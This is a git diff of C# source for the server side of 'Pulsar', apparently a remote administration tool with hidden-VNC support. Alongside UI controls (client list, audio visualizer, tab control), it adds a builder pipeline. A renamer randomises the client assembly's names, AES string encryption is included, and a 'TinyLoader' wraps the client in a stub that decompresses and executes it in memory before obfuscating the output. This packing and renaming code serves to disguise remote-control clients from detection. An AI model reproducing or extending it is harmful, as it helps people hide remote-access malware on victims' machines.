/// + public readonly Dictionary DefMap = new Dictionary(); + + /// + /// The module which source type originated from. + /// + public readonly ModuleDef OriginModule; + + /// + /// The module which source type is being injected to. + /// + public readonly ModuleDef TargetModule; + + /// + /// Initializes a new instance of the class. + /// + /// The origin module. + /// The target module. + public InjectContext(ModuleDef module, ModuleDef target) + { + OriginModule = module; + TargetModule = target; + Importer = new Importer(target, ImporterOptions.TryToUseTypeDefs, new GenericParamContext(), this); + } + + /// + /// Gets the importer. + /// + /// The importer. + public Importer Importer { get; } + + /// + public override ITypeDefOrRef Map(ITypeDefOrRef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as ITypeDefOrRef; + + // check if the assembly reference needs to be fixed. + if (source is TypeRef sourceRef) + { + var targetAssemblyRef = TargetModule.GetAssemblyRef(sourceRef.DefinitionAssembly.Name); + if (!(targetAssemblyRef is null) && !string.Equals(targetAssemblyRef.FullName, source.DefinitionAssembly.FullName, StringComparison.Ordinal)) + { + // We got a matching assembly by the simple name, but not by the full name. + // This means the injected code uses a different assembly version than the target assembly. + // We'll fix the assembly reference, to avoid breaking anything. + var fixedTypeRef = new TypeRefUser(sourceRef.Module, sourceRef.Namespace, sourceRef.Name, targetAssemblyRef); + return Importer.Import(fixedTypeRef); + } + } + return null; + } + + /// + public override IMethod Map(MethodDef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as IMethod; + return null; + } + + /// + public override IField Map(FieldDef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as IField; + return null; + } + + public override MemberRef Map(MemberRef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as MemberRef; + return null; + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Utils/Injection/StringEncryption.cs b/Pulsar.Server/Build/Obfuscator/Utils/Injection/StringEncryption.cs new file mode 100644 index 0000000..019fc1a --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Utils/Injection/StringEncryption.cs @@ -0,0 +1,40 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Server.Build.Obfuscator.Utils.Injection +{ + public class StringEncryption + { + public static string Encrypt(string input, byte[] key, byte[] iv) + { + AesManaged aes = new AesManaged(); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + ICryptoTransform encryptor = aes.CreateEncryptor(key, iv); + byte[] encrypted = encryptor.TransformFinalBlock(Encoding.UTF8.GetBytes(input), 0, input.Length); + encryptor.Dispose(); + aes.Dispose(); + return Convert.ToBase64String(encrypted); + } + + public static string Decrypt(string sInput, string key, string iv) + { + byte[] input = Convert.FromBase64String(sInput); + AesManaged aes = new AesManaged(); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + ICryptoTransform decryptor = aes.CreateDecryptor(Convert.FromBase64String(key), Convert.FromBase64String(iv)); + byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length); + decryptor.Dispose(); + aes.Dispose(); + return Encoding.UTF8.GetString(decrypted); + } + + + + } +} diff --git a/Pulsar.Server/Build/Renamer.cs b/Pulsar.Server/Build/Renamer.cs new file mode 100644 index 0000000..a91b652 --- /dev/null +++ b/Pulsar.Server/Build/Renamer.cs @@ -0,0 +1,221 @@ +ο»Ώusing Mono.Cecil; +using Pulsar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Pulsar.Server.Build +{ + public class Renamer + { + public AssemblyDefinition AsmDef { get; set; } + + private int MinLength { get; set; } + private int MaxLength { get; set; } + private MemberOverloader _typeOverloader; + private Dictionary _methodOverloaders; + private Dictionary _fieldOverloaders; + private Dictionary _eventOverloaders; + private Dictionary _namespaceRenames; + + private readonly SafeRandom _random = new SafeRandom(); + + public Renamer(AssemblyDefinition asmDef) + : this(asmDef, 10, 30) + { + } + + public Renamer(AssemblyDefinition asmDef, int minLength, int maxLength) + { + this.AsmDef = asmDef; + this.MinLength = minLength; + this.MaxLength = maxLength; + _typeOverloader = new MemberOverloader(this.MinLength, this.MaxLength); + _methodOverloaders = new Dictionary(); + _fieldOverloaders = new Dictionary(); + _eventOverloaders = new Dictionary(); + _namespaceRenames = new Dictionary(); + } + + public bool Perform() + { + try + { + foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) + { + RenameInType(typeDef); + } + return true; + } + catch + { + return false; + } + } + + private void RenameInType(TypeDefinition typeDef) + { + if (!typeDef.Namespace.StartsWith("Pulsar") || typeDef.Namespace.StartsWith("Pulsar.Common.Messages") || typeDef.IsEnum) + return; + + _typeOverloader.GiveName(typeDef); + + typeDef.Namespace = RenameNamespace(typeDef.Namespace); + + MemberOverloader methodOverloader = GetMethodOverloader(typeDef); + MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); + MemberOverloader eventOverloader = GetEventOverloader(typeDef); + + if (typeDef.HasNestedTypes) + foreach (TypeDefinition nestedType in typeDef.NestedTypes) + RenameInType(nestedType); + + if (typeDef.HasMethods) + foreach (MethodDefinition methodDef in + typeDef.Methods.Where(methodDef => + !methodDef.IsConstructor && !methodDef.HasCustomAttributes && + !methodDef.IsAbstract && !methodDef.IsVirtual)) + methodOverloader.GiveName(methodDef); + + if (typeDef.HasFields) + foreach (FieldDefinition fieldDef in typeDef.Fields) + fieldOverloader.GiveName(fieldDef); + + if (typeDef.HasEvents) + foreach (EventDefinition eventDef in typeDef.Events) + eventOverloader.GiveName(eventDef); + } + + private string RenameNamespace(string originalNamespace) + { + if (string.IsNullOrEmpty(originalNamespace)) + return originalNamespace; + + if (!_namespaceRenames.TryGetValue(originalNamespace, out string newNamespace)) + { + newNamespace = GenerateRandomNamespace(); + _namespaceRenames[originalNamespace] = newNamespace; + } + + return newNamespace; + } + + private string GenerateRandomNamespace() + { + StringBuilder builder = new StringBuilder(); + int length = _random.Next(MinLength, MaxLength); + for (int i = 0; i < length; i++) + { + builder.Append((char)_random.Next('a', 'z' + 1)); + } + return builder.ToString(); + } + + private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._methodOverloaders, typeDef); + } + + private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._fieldOverloaders, typeDef); + } + + private MemberOverloader GetEventOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._eventOverloaders, typeDef); + } + + private MemberOverloader GetOverloader(Dictionary overloaderDictionary, + TypeDefinition targetTypeDef) + { + if (!overloaderDictionary.TryGetValue(targetTypeDef, out MemberOverloader overloader)) + { + overloader = new MemberOverloader(this.MinLength, this.MaxLength); + overloaderDictionary.Add(targetTypeDef, overloader); + } + return overloader; + } + + private class MemberOverloader + { + private bool DoRandom { get; set; } + private int MinLength { get; set; } + private int MaxLength { get; set; } + private readonly Dictionary _renamedMembers = new Dictionary(); + private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); + private int[] _indices; + + public MemberOverloader(int minLength, int maxLength, bool doRandom = true) + : this(minLength, maxLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()) + { + } + + private MemberOverloader(int minLength, int maxLength, bool doRandom, char[] chars) + { + this._charMap = chars; + this.DoRandom = doRandom; + this.MinLength = minLength; + this.MaxLength = maxLength; + this._indices = new int[minLength]; + } + + public void GiveName(MemberReference member) + { + string currentName = GetCurrentName(); + string originalName = member.ToString(); + member.Name = currentName; + while (_renamedMembers.ContainsValue(member.ToString())) + { + member.Name = GetCurrentName(); + } + _renamedMembers.Add(originalName, member.ToString()); + } + + private string GetCurrentName() + { + return DoRandom ? GetRandomName() : GetOverloadedName(); + } + + private string GetRandomName() + { + StringBuilder builder = new StringBuilder(); + int length = _random.Next(MinLength, MaxLength); + + for (int i = 0; i < length; i++) + { + builder.Append(_charMap[_random.Next(_charMap.Length)]); + } + + return builder.ToString(); + } + + private string GetOverloadedName() + { + IncrementIndices(); + char[] chars = new char[_indices.Length]; + for (int i = 0; i < _indices.Length; i++) + chars[i] = _charMap[_indices[i]]; + return new string(chars); + } + + private void IncrementIndices() + { + for (int i = _indices.Length - 1; i >= 0; i--) + { + _indices[i]++; + if (_indices[i] >= _charMap.Length) + { + if (i == 0) + Array.Resize(ref _indices, _indices.Length + 1); + _indices[i] = 0; + } + else + break; + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Build/TinyLoader/TinyLoader.cs b/Pulsar.Server/Build/TinyLoader/TinyLoader.cs new file mode 100644 index 0000000..02b5139 --- /dev/null +++ b/Pulsar.Server/Build/TinyLoader/TinyLoader.cs @@ -0,0 +1,135 @@ +ο»Ώusing dnlib.DotNet; +using Pulsar.Server.Build.Obfuscator.Utils.Injection; +using Pulsar.Server.Build.Obfuscator.Utils; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using dnlib.DotNet.MD; +using Microsoft.CSharp; +using System.CodeDom.Compiler; +using System.IO.Compression; + +namespace Pulsar.Server.Build.TinyLoader +{ + public class TinyLoader + { + + private byte[] app; + + public TinyLoader(string path) + { + app = File.ReadAllBytes(path); + } + + public TinyLoader(byte[] data) + { + app = data; + } + + public void Save(string path) + { + File.WriteAllBytes(path, app); + } + + public byte[] Save() + { + return app; + } + + public static byte[] Compress(byte[] data) + { + MemoryStream output = new MemoryStream(); + using (DeflateStream dstream = new DeflateStream(output, CompressionLevel.Optimal)) + { + dstream.Write(data, 0, data.Length); + } + return output.ToArray(); + } + + public byte[] Compile() + { + string sourceCode = @" +using System; +using System.Reflection; +using System.IO; +using System.IO.Compression; +namespace a +{ + class a + { + [STAThread] + static void Main() + { + using (Stream a = Assembly.GetExecutingAssembly().GetManifestResourceStream(""a"")) + { + MemoryStream b = new MemoryStream(); + using (DeflateStream c = new DeflateStream(a, CompressionMode.Decompress)) + { + c.CopyTo(b); + } + + Assembly.Load(b.ToArray()).EntryPoint.Invoke(null, null); + } + } + } +}"; + + CSharpCodeProvider provider = new CSharpCodeProvider(); + CompilerParameters parameters = new CompilerParameters(); + + + parameters.GenerateExecutable = true; + parameters.GenerateInMemory = false; + parameters.TreatWarningsAsErrors = false; + parameters.IncludeDebugInformation = false; + parameters.ReferencedAssemblies.Add("System.dll"); + parameters.ReferencedAssemblies.Add("System.Reflection.dll"); + parameters.ReferencedAssemblies.Add("System.IO.dll"); + parameters.ReferencedAssemblies.Add("System.IO.Compression.dll"); + + parameters.CompilerOptions = "/target:winexe"; + + string tempFile = "temploader.exe"; + parameters.OutputAssembly = tempFile; + + CompilerResults results = provider.CompileAssemblyFromSource(parameters, sourceCode); + + if (results.Errors.HasErrors) + { + StringBuilder errors = new StringBuilder("Compilation errors:"); + foreach (CompilerError error in results.Errors) + { + errors.AppendLine(string.Format("Line {0}: {1}", error.Line, error.ErrorText)); + } + throw new Exception(errors.ToString()); + } + + byte[] output = File.ReadAllBytes(tempFile); + try { File.Delete(tempFile); } catch { } + return output; + } + + public void Pack() + { + byte[] loader = Compile(); + ModuleDefMD module = ModuleDefMD.Load(loader); + + + module.Resources.Add(new EmbeddedResource("a", Compress(app), ManifestResourceAttributes.Public)); + + MemoryStream stream = new MemoryStream(); + module.Write(stream); + + app = stream.ToArray(); + Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(app); + obf.Obfuscate(); + app = obf.Save(); + + } + + } +} diff --git a/Pulsar.Server/Controls/.DS_Store b/Pulsar.Server/Controls/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..06e86a3c716688b004cd52ac2f2b5e61a9f4b266 GIT binary patch literal 6148 zcmeHKv1-FW43(S=30<7Jo$N!=y|2b+>WNB>j5pi{r8Tc1wC*w}_n zr349d?|hO@ch6v1M8vC8z9d=@(F`h>%rOjz*hPDi*oqiA?vc|g9jTvqgD|D|WOZ)c7Nn9u`N z^iu5FmhVesGRw$08tY(gvv%?&dSUGB;tV(g&cHb{fSN5byHNDe8E^)ifrbJ3J_M*> zYFI1APX~tB0syC2j)J-L5)u;(Q^Q&j76@x7P(#^T4AyY02lGn}Yefwww&sH^Gh2tk zF+27T(VaL|^wAk`2D%JP^l>5ee?8v+cZ2-N8E^*9iUFQxn{0(ES#9lIPHJs{K0-yr nuU2eAFo~rYzEX;>pi!_MWCBbLYelR;{6`?t;Da;prwsf6& + /// A custom control that visualizes audio levels with smooth animations in dark mode. + /// + public class AudioVisualizer : Control + { + private const int BAR_SPACING = 2; + private int _barCount = 40; + private const float DECAY_RATE = 0.92f; + private const float SMOOTHING = 0.3f; + + private float[] _barHeights; + private float[] _targetHeights; + private float _currentLevel = 0f; + private float _targetLevel = 0f; + + private Timer _animationTimer; + private Random _random = new Random(); + + // Dark mode colors + private readonly Color _backgroundColor = Color.FromArgb(28, 28, 28); + private readonly Color _barColorLow = Color.FromArgb(0, 150, 255); + private readonly Color _barColorMid = Color.FromArgb(0, 200, 100); + private readonly Color _barColorHigh = Color.FromArgb(255, 100, 0); + + public AudioVisualizer() + { + SetStyle(ControlStyles.AllPaintingInWmPaint | + ControlStyles.UserPaint | + ControlStyles.OptimizedDoubleBuffer | + ControlStyles.ResizeRedraw, true); + + BackColor = _backgroundColor; + + _animationTimer = new Timer(); + _animationTimer.Interval = 33; // ~30 FPS + _animationTimer.Tick += AnimationTimer_Tick; + _animationTimer.Start(); + + CalculateBarCount(); + InitializeBars(); + } + + /// + /// Calculates the optimal number of bars to fill the control width. + /// + private void CalculateBarCount() + { + if (Width > 0) + { + // Calculate how many bars can fit (minimum 3 pixels per bar + spacing) + _barCount = Math.Max(20, Width / 5); + } + else + { + _barCount = 40; // Default + } + } + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + CalculateBarCount(); + InitializeBars(); + } + + private void InitializeBars() + { + _barHeights = new float[_barCount]; + _targetHeights = new float[_barCount]; + + for (int i = 0; i < _barCount; i++) + { + _barHeights[i] = 0f; + _targetHeights[i] = 0f; + } + } + + /// + /// Updates the audio level for visualization. + /// + /// Audio level between 0.0 and 1.0 + public void UpdateLevel(float level) + { + _targetLevel = Math.Max(0f, Math.Min(1f, level)); + } + + /// + /// Resets the visualizer to zero. + /// + public void Reset() + { + _targetLevel = 0f; + _currentLevel = 0f; + if (_barHeights != null) + { + for (int i = 0; i < _barCount; i++) + { + _barHeights[i] = 0f; + _targetHeights[i] = 0f; + } + } + Invalidate(); + } + + private void AnimationTimer_Tick(object sender, EventArgs e) + { + if (_barHeights == null || _targetHeights == null) + return; + + _currentLevel += (_targetLevel - _currentLevel) * SMOOTHING; + + for (int i = 0; i < _barCount; i++) + { + float baseHeight = _currentLevel; + + if (_currentLevel > 0.01f) + { + float variation = (float)_random.NextDouble() * 0.3f - 0.15f; + _targetHeights[i] = Math.Max(0f, Math.Min(1f, baseHeight + variation)); + } + else + { + _targetHeights[i] = 0f; + } + + if (_barHeights[i] < _targetHeights[i]) + { + _barHeights[i] += (_targetHeights[i] - _barHeights[i]) * 0.4f; + } + else + { + _barHeights[i] *= DECAY_RATE; + } + } + + _targetLevel *= 0.85f; + + Invalidate(); + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + if (_barHeights == null || _targetHeights == null) + return; + + Graphics g = e.Graphics; + g.SmoothingMode = SmoothingMode.AntiAlias; + + int barWidth = (Width - (_barCount - 1) * BAR_SPACING) / _barCount; + if (barWidth < 1) barWidth = 1; + + for (int i = 0; i < _barCount; i++) + { + int x = i * (barWidth + BAR_SPACING); + int barHeight = (int)(_barHeights[i] * Height); + int y = Height - barHeight; + + if (barHeight > 0) + { + Color barColor; + if (_barHeights[i] < 0.5f) + { + barColor = _barColorLow; + } + else if (_barHeights[i] < 0.8f) + { + barColor = _barColorMid; + } + else + { + barColor = _barColorHigh; + } + + using (SolidBrush brush = new SolidBrush(barColor)) + { + g.FillRectangle(brush, x, y, barWidth, barHeight); + } + } + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + _animationTimer?.Stop(); + _animationTimer?.Dispose(); + } + base.Dispose(disposing); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/ClientsListElementHost.cs b/Pulsar.Server/Controls/ClientsListElementHost.cs new file mode 100644 index 0000000..38f506d --- /dev/null +++ b/Pulsar.Server/Controls/ClientsListElementHost.cs @@ -0,0 +1,96 @@ +using Pulsar.Server.Controls.Wpf; +using Pulsar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using System.Windows.Forms.Integration; + +#nullable enable + +namespace Pulsar.Server.Controls +{ + public sealed class ClientsListElementHost : ElementHost + { + private readonly ClientsListView _clientsListView; + + public ClientsListElementHost() + { + _clientsListView = new ClientsListView(); + Child = _clientsListView; + Dock = DockStyle.Fill; + + _clientsListView.SelectionChanged += ClientsListViewOnSelectionChanged; + _clientsListView.ItemDoubleClicked += ClientsListViewOnItemDoubleClicked; + _clientsListView.FavoriteToggled += ClientsListViewOnFavoriteToggled; + } + + public event EventHandler? SelectionChanged; + public event EventHandler? ItemDoubleClicked; + public event EventHandler? FavoriteToggled; + + public IReadOnlyList SelectedClients => _clientsListView.SelectedEntries.Select(e => e.Client).ToList(); + + public int SelectedCount => SelectedClients.Count; + + public ClientListEntry AddOrUpdate(Client client, Action updater) + { + return _clientsListView.AddOrUpdate(client, updater); + } + + public void Remove(Client client) => _clientsListView.Remove(client); + + public void ClearClients() => _clientsListView.Clear(); + + public void ApplyFilter(Func? predicate) + { + _clientsListView.ApplyFilter(predicate == null ? null : new Predicate(predicate)); + } + + public void SetGroupByCountry(bool enabled) => _clientsListView.SetGroupByCountry(enabled); + + public void RefreshSort() => _clientsListView.RefreshSort(); + + public void SetSelectedClients(IEnumerable clients) + { + _clientsListView.SetSelectedClients(clients); + } + + public void RefreshItem(Client client) + { + var entry = _clientsListView.GetEntryByClient(client); + if (entry != null) + { + _clientsListView.RefreshItem(entry); + } + } + + public void ApplyTheme(bool isDarkMode) => _clientsListView.ApplyTheme(isDarkMode); + + public void SetToolTip(Client client, string text) + { + var entry = _clientsListView.GetEntryByClient(client); + if (entry != null) + { + entry.ToolTip = text; + } + } + + public ClientListEntry? GetEntry(Client client) => _clientsListView.GetEntryByClient(client); + + private void ClientsListViewOnSelectionChanged(object? sender, IReadOnlyList e) + { + SelectionChanged?.Invoke(this, EventArgs.Empty); + } + + private void ClientsListViewOnItemDoubleClicked(object? sender, ClientListEntry e) + { + ItemDoubleClicked?.Invoke(this, e.Client); + } + + private void ClientsListViewOnFavoriteToggled(object? sender, ClientListEntry e) + { + FavoriteToggled?.Invoke(this, e.Client); + } + } +} diff --git a/Pulsar.Server/Controls/DotNetBarTabControl.cs b/Pulsar.Server/Controls/DotNetBarTabControl.cs new file mode 100644 index 0000000..64b6424 --- /dev/null +++ b/Pulsar.Server/Controls/DotNetBarTabControl.cs @@ -0,0 +1,369 @@ +ο»Ώusing Pulsar.Server.Models; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Windows.Forms; + +// thanks to Mavamaarten~ for coding this + +namespace Pulsar.Server.Controls +{ + public class TabPageEventArgs : EventArgs + { + public TabPage TabPage { get; } + public TabPageEventArgs(TabPage tabPage) + { + TabPage = tabPage; + } + } + internal class DotNetBarTabControl : TabControl + { + private bool _darkMode = Settings.DarkMode; + private Dictionary _closeButtonRects = new Dictionary(); + private bool _showCloseButtons = true; + + public event EventHandler TabClosed; + + /// + /// Gets or sets whether close buttons are shown on tabs. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool ShowCloseButtons + { + get { return _showCloseButtons; } + set + { + if (_showCloseButtons != value) + { + _showCloseButtons = value; + Invalidate(); + } + } + } + public DotNetBarTabControl() + { + SetStyle( + ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | ControlStyles.UserPaint | + ControlStyles.DoubleBuffer, true); + SizeMode = TabSizeMode.Fixed; + SelectedIndex = 0; + ShowCloseButtons = false; + + MouseClick += DotNetBarTabControl_MouseClick; + } + + private void DotNetBarTabControl_MouseClick(object sender, MouseEventArgs e) + { + if (!_showCloseButtons) + return; + foreach (var kvp in _closeButtonRects) + { + if (kvp.Value.Contains(e.Location)) + { + int tabIndex = kvp.Key; + if (tabIndex >= 0 && tabIndex < TabCount) + { + TabPage tabPage = TabPages[tabIndex]; + + TabPages.Remove(tabPage); + + TabClosed?.Invoke(this, new TabPageEventArgs(tabPage)); + + Invalidate(); + } + break; + } + } + } + + + private void DrawTabText(Graphics g, Rectangle rect, string text, Font baseFont, Brush textBrush, bool isSelected) + { + + int maxTextWidth = rect.Width - 20; + + + if (_showCloseButtons) + maxTextWidth -= 20; + + + SizeF textSize = g.MeasureString(text, baseFont); + + + Font fontToUse = baseFont; + float scaleFactor = 1.0f; + + if (textSize.Width > maxTextWidth) + { + scaleFactor = maxTextWidth / textSize.Width; + float newSize = Math.Max(baseFont.Size * scaleFactor, 7.0f); + fontToUse = new Font(baseFont.FontFamily, newSize, isSelected ? FontStyle.Bold : FontStyle.Regular); + } + else if (isSelected && baseFont.Style != FontStyle.Bold) + { + + fontToUse = new Font(baseFont.FontFamily, baseFont.Size, FontStyle.Bold); + } + + + g.DrawString(text, fontToUse, textBrush, rect, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center, + Trimming = StringTrimming.EllipsisCharacter + }); + + + if (fontToUse != baseFont) + { + fontToUse.Dispose(); + } + } + + + private void DrawCloseButton(Graphics g, Rectangle tabRect, int tabIndex, bool isSelected) + { + + if (!_showCloseButtons) + return; + + + int buttonSize = 16; + int buttonX = tabRect.Right - buttonSize - 5; + int buttonY = tabRect.Top + (tabRect.Height - buttonSize) / 2; + + Rectangle closeRect = new Rectangle(buttonX, buttonY, buttonSize, buttonSize); + + + _closeButtonRects[tabIndex] = closeRect; + + + Color bgColor = _darkMode + ? (isSelected ? Color.FromArgb(90, 90, 90) : Color.FromArgb(60, 60, 60)) + : (isSelected ? Color.FromArgb(240, 240, 250) : Color.FromArgb(220, 220, 240)); + + using (SolidBrush bgBrush = new SolidBrush(bgColor)) + { + g.FillEllipse(bgBrush, closeRect); + } + + + Color xColor = _darkMode + ? Color.FromArgb(200, 200, 200) + : Color.FromArgb(100, 100, 100); + + using (Pen xPen = new Pen(xColor, 1.5f)) + { + + g.DrawLine(xPen, + closeRect.Left + 4, closeRect.Top + 4, + closeRect.Right - 4, closeRect.Bottom - 4); + + g.DrawLine(xPen, + closeRect.Left + 4, closeRect.Bottom - 4, + closeRect.Right - 4, closeRect.Top + 4); + } + } + protected override void OnPaint(PaintEventArgs e) + { + + _closeButtonRects.Clear(); + + Bitmap b = new Bitmap(Width, Height); + Graphics g = Graphics.FromImage(b); + g.SmoothingMode = SmoothingMode.AntiAlias; + g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit; + if (_darkMode) + { + DrawDarkMode(g); + } + else + { + DrawLightMode(g); + } + e.Graphics.DrawImage(b, new Point(0, 0)); + g.Dispose(); + b.Dispose(); + } + private void DrawDarkMode(Graphics g) + { + if (!DesignMode && TabCount > 0 && SelectedIndex >= 0) + SelectedTab.BackColor = Color.FromArgb(43, 43, 43); + g.Clear(Color.FromArgb(43, 43, 43)); + g.FillRectangle(new SolidBrush(Color.FromArgb(43, 43, 43)), + new Rectangle(0, 0, ItemSize.Height + 4, Height)); + g.DrawLine(new Pen(Color.FromArgb(80, 80, 80)), new Point(ItemSize.Height + 3, 0), + new Point(ItemSize.Height + 3, 999)); + g.DrawLine(new Pen(Color.FromArgb(80, 80, 80)), new Point(0, Size.Height - 1), + new Point(Width + 3, Size.Height - 1)); + for (int i = 0; i <= TabCount - 1; i++) + { + if (i == SelectedIndex) + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + g.FillRectangle(new SolidBrush(Color.FromArgb(70, 70, 70)), x2); + g.DrawRectangle(new Pen(Color.FromArgb(43, 43, 43)), x2); + g.SmoothingMode = SmoothingMode.HighQuality; + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.White, true); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.White, true); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.White, true); + } + + + DrawCloseButton(g, x2, i, true); + } + else + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + g.FillRectangle(new SolidBrush(Color.FromArgb(43, 43, 43)), x2); + g.DrawLine(new Pen(Color.FromArgb(80, 80, 80)), new Point(x2.Right, x2.Top), + new Point(x2.Right, x2.Bottom)); + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.LightGray, false); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.LightGray, false); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.LightGray, false); + } + + + DrawCloseButton(g, x2, i, false); + } + } + } + private void DrawLightMode(Graphics g) + { + if (!DesignMode && TabCount > 0 && SelectedIndex >= 0) + SelectedTab.BackColor = SystemColors.Control; + + g.Clear(SystemColors.Control); + g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)), + new Rectangle(0, 0, ItemSize.Height + 4, Height)); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(ItemSize.Height + 3, 0), + new Point(ItemSize.Height + 3, 999)); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(0, Size.Height - 1), + new Point(Width + 3, Size.Height - 1)); + + for (int i = 0; i <= TabCount - 1; i++) + { + if (i == SelectedIndex) + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + ColorBlend myBlend = new ColorBlend(); + myBlend.Colors = new Color[] { Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240) }; + myBlend.Positions = new float[] { 0f, 0.5f, 1f }; + LinearGradientBrush lgBrush = new LinearGradientBrush(x2, Color.Black, Color.Black, 90f); + lgBrush.InterpolationColors = myBlend; + g.FillRectangle(lgBrush, x2); + g.DrawRectangle(new Pen(Color.FromArgb(170, 187, 204)), x2); + g.SmoothingMode = SmoothingMode.HighQuality; + Point[] p = + { + new Point(ItemSize.Height - 3, GetTabRect(i).Location.Y + 20), + new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 14), + new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 27) + }; + g.FillPolygon(SystemBrushes.Control, p); + g.DrawPolygon(new Pen(Color.FromArgb(170, 187, 204)), p); + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.Black, true); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.Black, true); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.Black, true); + } + g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Location.Y - 1), + new Point(x2.Location.X, x2.Location.Y)); + g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Bottom - 1), + new Point(x2.Location.X, x2.Bottom)); + + + DrawCloseButton(g, x2, i, true); + } + else + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)), x2); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(x2.Right, x2.Top), + new Point(x2.Right, x2.Bottom)); + + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.DimGray, false); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.DimGray, false); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.DimGray, false); + } + + + DrawCloseButton(g, x2, i, false); + } + } + } + } +} diff --git a/Pulsar.Server/Controls/HVNCRapidPictureBox.cs b/Pulsar.Server/Controls/HVNCRapidPictureBox.cs new file mode 100644 index 0000000..a0ac65f --- /dev/null +++ b/Pulsar.Server/Controls/HVNCRapidPictureBox.cs @@ -0,0 +1,194 @@ +ο»Ώusing Pulsar.Server.Utilities; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using System.ComponentModel; + +namespace Pulsar.Server.Controls +{ + public interface IHVNCRapidPictureBox + { + bool Running { get; set; } + Image GetImageSafe { get; set; } + + void Start(); + void Stop(); + void UpdateImage(Bitmap bmp, bool cloneBitmap = false); + } + + /// + /// Custom PictureBox Control designed for rapidly-changing images. + /// + public class HVNCRapidPictureBox : PictureBox, IRapidPictureBox + { + /// 